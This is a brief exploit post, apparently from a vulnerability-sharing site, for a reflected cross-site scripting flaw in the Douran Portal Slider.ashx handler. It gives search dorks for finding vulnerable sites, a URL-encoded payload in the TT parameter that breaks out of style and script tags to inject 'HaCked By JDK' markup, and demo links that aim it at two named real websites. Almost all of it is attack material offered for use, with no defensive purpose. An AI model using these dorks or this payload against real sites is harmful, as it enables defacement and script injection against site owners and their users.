Douran Portal XSS Vulnerability

Dork:
inurl:/DesktopModules/Slider/Handlers/Slider.ashx?ModuleID=

or

"DOURAN Portal"

Path:

Domain/DesktopModules/Slider/Handlers/Slider.ashx?ModuleID=15246&Width=960&Height=180&TT=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3Cmarquee%3E%3Ch1%3EHaCked By JDK%3C/h1%3E%3C/marquee%3E&TDU=2&TDE=2&Auto=true&Stop=true&Loop=false&Bullets=true&Captions=false&CaptionEffect=move&Controls=true&Theme=Quiet&RTL=True

Demo:

http://www.fums.ac.ir/DesktopModules/Slider/Handlers/Slider.ashx?ModuleID=15246&Width=960&Height=180&TT=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3Cmarquee%3E%3Ch1%3EHaCked%20By%20JDK%3C/h1%3E%3C/marquee%3E&TDU=2&TDE=2&Auto=true&Stop=true&Loop=false&Bullets=true&Captions=false&CaptionEffect=move&Controls=true&Theme=Quiet&RTL=True

http://www.tehranbtc.ir/DesktopModules/Slider/Handlers/Slider.ashx?ModuleID=15246&Width=960&Height=180&TT=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3Cmarquee%3E%3Ch1%3EHaCked%20By%20JDK%3C/h1%3E%3C/marquee%3E&TDU=2&TDE=2&Auto=true&Stop=true&Loop=false&Bullets=true&Captions=false&CaptionEffect=move&Controls=true&Theme=Quiet&RTL=True